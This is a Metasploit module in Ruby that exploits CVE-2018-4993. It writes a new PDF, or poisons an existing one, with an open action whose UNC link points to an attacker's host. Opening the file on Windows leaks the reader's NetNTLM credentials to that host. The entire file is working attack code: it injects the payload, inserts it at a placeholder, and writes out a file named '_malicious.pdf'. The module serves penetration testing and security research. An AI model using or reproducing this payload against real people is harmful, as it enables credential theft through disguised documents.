##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
        'Name'          => 'BADPDF Malicious PDF Creator',
        'Description'   => '
          This module can either creates a blank PDF file which contains a UNC link which can be used
          to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
          code into an existing PDF document if possible.
        ',
        'License'       => MSF_LICENSE,
        'Author'        =>
            [
              'Assaf Baharav',    # Code provided as POC by CheckPoint
              'Yaron Fruchtmann', # Code provided as POC by CheckPoint
              'Ido Solomon',      # Code provided as POC by CheckPoint
              'Richard Davy - secureyourit.co.uk', # Metasploit
            ],
        'Platform'      => ['win'],
        'References'    =>
        [
          ['CVE', '2018-4993'],
          ['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
        ])
      )
    register_options(
      [
        OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]),
        OptString.new('FILENAME', [false, 'Filename']),
        OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into'])
      ]
    )
  end

  def run
    if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?
      print_error 'Please configure either FILENAME or PDFINJECT'
    elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
      injectpdf
    elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')
      createpdf
    else
      print_error "FILENAME or PDFINJECT must end with '.pdf' file extension"
    end
  end

  def injectpdf
    # Payload which gets injected
    inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"

    # if given path doesn't exist display error and return
    unless File.exist?(datastore['PDFINJECT'])
      # If file not found display error message
      print_error "File doesn't exist #{datastore['PDFINJECT']}"
      return
    end

    # Read in contents of file
    content = File.binread(datastore['PDFINJECT'])

    # Check for place holder - below ..should.. cover most scenarios.
    newdata = ''
    [2, 4, 6, 8].each do |pholder|
      unless content.index("/Contents #{pholder} 0 R").nil?
        # If place holder exists create new file content
        newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1]
        break
      end
    end

    # Display error message if we couldn't poison the file
    if newdata.empty?
      print_error 'Could not find placeholder to poison file this time....'
      return
    end

    # Create new filename by replacing .pdf with _malicious.pdf
    newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"
    # Write content to file
    File.open(newfilename, 'wb') { |file| file.write(newdata) }
    # Check file exists and display path or error message
    if File.exist?(newfilename)
      print_good("Malicious file writen to: #{newfilename}")
    else
      print_error 'Something went wrong creating malicious PDF file'
    end
  end

  def createpdf
    # Code below taken POC provided by CheckPoint Research
    pdf = ''
    pdf << "%PDF-1.7\n"
    pdf << "1 0 obj\n"
    pdf << "<</Type/Catalog/Pages 2 0 R>>\n"
    pdf << "endobj\n"
    pdf << "2 0 obj\n"
    pdf << "<</Type/Pages/Kids[3 0 R]/Count 1>>\n"
    pdf << "endobj\n"
    pdf << "3 0 obj\n"
    pdf << "<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>\n"
    pdf << "endobj\n"
    pdf << "xref\n"
    pdf << "0 4\n"
    pdf << "0000000000 65535 f\n"
    pdf << "0000000015 00000 n\n"
    pdf << "0000000060 00000 n\n"
    pdf << "0000000111 00000 n\n"
    pdf << "trailer\n"
    pdf << "<</Size 4/Root 1 0 R>>\n"
    pdf << "startxref\n"
    pdf << "190\n"
    pdf << "3 0 obj\n"
    pdf << "<< /Type /Page\n"
    pdf << "   /Contents 4 0 R\n"
    pdf << "   /AA <<\n"
    pdf << "     /O <<\n"
    pdf << "        /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n"
    pdf << "      /D [ 0 /Fit]\n"
    pdf << "      /S /GoToE\n"
    pdf << "      >>\n"
    pdf << "     >>\n"
    pdf << "     /Parent 2 0 R\n"
    pdf << "     /Resources <<\n"
    pdf << "      /Font <<\n"
    pdf << "        /F1 <<\n"
    pdf << "          /Type /Font\n"
    pdf << "          /Subtype /Type1\n"
    pdf << "          /BaseFont /Helvetica\n"
    pdf << "          >>\n"
    pdf << "         >>\n"
    pdf << "       >>\n"
    pdf << ">>\n"
    pdf << "endobj\n"
    pdf << "4 0 obj<< /Length 100>>\n"
    pdf << "stream\n"
    pdf << "BT\n"
    pdf << "/TI_0 1 Tf\n"
    pdf << "14 0 0 14 10.000 753.976 Tm\n"
    pdf << "0.0 0.0 0.0 rg\n"
    pdf << "(PDF Document) Tj\n"
    pdf << "ET\n"
    pdf << "endstream\n"
    pdf << "endobj\n"
    pdf << "trailer\n"
    pdf << "<<\n"
    pdf << "  /Root 1 0 R\n"
    pdf << ">>\n"
    pdf << "%%EOF\n"
    # Write data to filename
    file_create(pdf)
  end
end
